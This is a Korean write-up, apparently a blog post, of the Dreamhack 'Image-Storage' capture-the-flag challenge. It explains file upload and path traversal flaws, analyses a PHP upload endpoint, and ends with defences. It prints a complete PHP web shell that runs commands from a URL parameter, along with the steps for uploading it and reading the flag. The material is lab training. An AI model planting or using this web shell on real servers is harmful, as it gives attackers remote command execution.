Dreamhack Image-Storage Write-up
File Upload Vulnerability
파일 업로드와 관련해서 발생하는 취약점은 크게 두 가지로 분류된다.
File Upload Vulnerability 는 공격자의 파일을 웹 서비스의 파일 시스템에 업로드하는 과정에서 발생하는 보안 취약점이다. 파일 시스템 상 임의 경로에 원하는 파일을 업로드하거나 악성 확장자를 갖는 파일을 업로드할 수 있을 때 발생한다. 원하는 시스템 커맨드를 실행하는 원격 코드 실행 취약점을 유발할 수 있다.
File Download Vulnerability 는 웹 서비스의 파일 시스템에 존재하는 파일을 다운로드하는 과정에서 발생하는 보안 취약점이다. 공격자는 웹 서비스의 파일 시스템에 존재하는 임의 파일을 다운로드받을 수 있다. 설정 파일, 패스워드 파일, 데이터베이스 백업 본 등을 다운로드하여 민감한 정보를 탈취할 수 있고 2차 공격을 수행할 수 있다.
Path Traversal
파일 업로드 취약점은 크게 Path Traversal 과 악성 파일 업로드 로 분류된다.
파일 업로드를 허용하는 대개의 서비스는 보안을 위해 특정 디렉토리에만 업로드를 허용한다. Path Traversal 취약점은 업로드에 존재하는 이러한 제약을 우회하여, 임의 디렉토리에 파일을 업로드할 수 있는 취약점이다. 이용자가 업로드될 파일의 이름을 임의로 정할 수 있을 때 발생하며, 공격자가 ..와 같은 메타문자를 사용하면 uploads 를 벗어나 상위 디렉토리에도 파일을 업로드할 수 있다.
문자 설명 예시
| . | 현재 디렉토리 | /var/www/./html → /var/www/html |
| .. | 상위 디렉토리 | /var/www/../html → /var/html |
악성 파일 업로드
악성 파일 업로드 취약점은 이용자가 파일을 업로드할 때 이를 제대로 검사하지 않아서 발생한다.
웹 셸 (Web Shell)
웹 서버는 .php, .jsp, .asp와 같은 확장자의 파일을 CGI(Common Gateway Interface) 로 실행하고, 그 결과를 이용자에게 반환한다. 공격자가 임의의 PHP 소스 파일을 .php 확장자로 업로드하고 GET 요청을 보낼 수 있다면, CGI에 의해 해당 코드가 실행된다.
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
CGI(Common Gateway Interface)란? 동적인 컨텐츠를 처리하기 위해 웹 서버와 PHP 같은 외부 프로그램 사이에서 인터페이스를 제공하는 프로토콜이다.
악의적인 웹 리소스
웹 브라우저는 파일의 확장자나 응답의 Content-Type에 따라 요청을 다양하게 처리한다. 공격자가 서버에 exploit.html을 업로드하고 접근하는 URL이 https://dreamhack.io/uploads/exploit.html이라면, 브라우저는 이를 HTML로 해석한다. exploit.html에 악의적인 스크립트를 삽입하면 XSS 공격으로 이어질 수 있다.
확장자 / Content-Type 브라우저 처리 방식
| .html / text/html | HTML 엔진으로 처리 |
| .png, .jpg / image/png | 이미지로 렌더링 |
| .php, .jsp | CGI로 실행 |
문제 개요
PHP로 작성된 파일 저장 서비스에서 확장자 검증 없이 파일을 업로드할 수 있는 취약점을 이용해 웹 셸을 업로드하고, 이를 통해 /flag.txt를 읽어 플래그를 획득하는 문제.
엔드포인트 분석
list.php
$directory = './uploads/';
$scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
foreach ($scanned_directory as $key => $value) {
echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
}
uploads 폴더의 파일 목록을 링크로 출력한다. 업로드된 파일에 /uploads/파일명 URL로 직접 접근할 수 있다.
upload.php
$directory = './uploads/';
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"]; // 파일명 그대로 사용!
$tmp_name = $file["tmp_name"];
if (file_exists($directory . $name)) {
echo $name . " already exists.";
} else {
if(move_uploaded_file($tmp_name, $directory . $name)){
echo "Stored in: " . $directory . $name;
}
}
취약점 분석
$name = $file["name"] 으로 파일명을 그대로 사용하며, 파일에 대해 어떠한 검사도 하지 않는다.
- 확장자 검증 없음 → .php 파일 업로드 가능
- 파일 내용 검증 없음 → 웹 셸 코드 업로드 가능
- 업로드된 파일에 직접 URL 접근 가능 → CGI로 실행됨
공격 방법
웹 셸 코드
<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']); // cmd 파라미터로 받은 명령어를 시스템에서 실행
}
?></pre></body></html>
URL의 cmd 파라미터로 전달된 명령어를 system() 함수로 실행하고 결과를 출력하는 웹 셸이다.
풀이 단계
Step 1. 위 웹 셸 코드를 shell.php로 저장
Step 2. /upload.php에서 shell.php 업로드
Stored in: ./uploads/shell.php
Step 3. 업로드된 웹 셸에 접근
http://host1.dreamhack.games:[PORT]/uploads/shell.php
Apache가 .php 파일을 CGI로 실행 → 웹 셸 동작 확인
Step 4. 웹 셸에서 echo "HIHI" 입력 → HIHI 출력 → 명령어 실행 성공 확인
Step 5. 웹 셸에서 cat /flag.txt 입력 → FLAG 획득!
Flag

방어 방법
확장자 화이트리스트 검사
$allowed = ['jpg', 'png', 'gif'];
$ext = pathinfo($name, PATHINFO_EXTENSION);
if (!in_array(strtolower($ext), $allowed)) {
die("허용되지 않는 확장자입니다!");
}
정적 스토리지 사용
AWS S3, Azure Blob, GCP Storage 등의 정적 스토리지를 이용하면 서버의 파일 시스템을 이용하지 않기 때문에 파일 업로드 취약점이 웹 서버 공격으로 이어지는 것을 예방할 수 있다.
리소스 종류 예시 서버 실행 여부
| 정적 리소스 (Static Resource) | JPG, PNG, GIF, MP4 | 실행 안 됨 |
| 동적 리소스 (Dynamic Resource) | PHP, JSP, ASP | 서버에서 실행됨 |
동적 리소스의 확장자를 제한하면 파일 업로드 취약점을 통한 RCE(Remote Code Execution) 공격으로부터 서버를 보호할 수 있다.
'CTF' 카테고리의 다른 글
| SSRF (0) | 2026.06.03 |
|---|---|
| File-Download (0) | 2026.06.02 |
| Command Injection (0) | 2026.06.02 |
| Mango (0) | 2026.06.01 |
| Simple SQLi (0) | 2026.05.29 |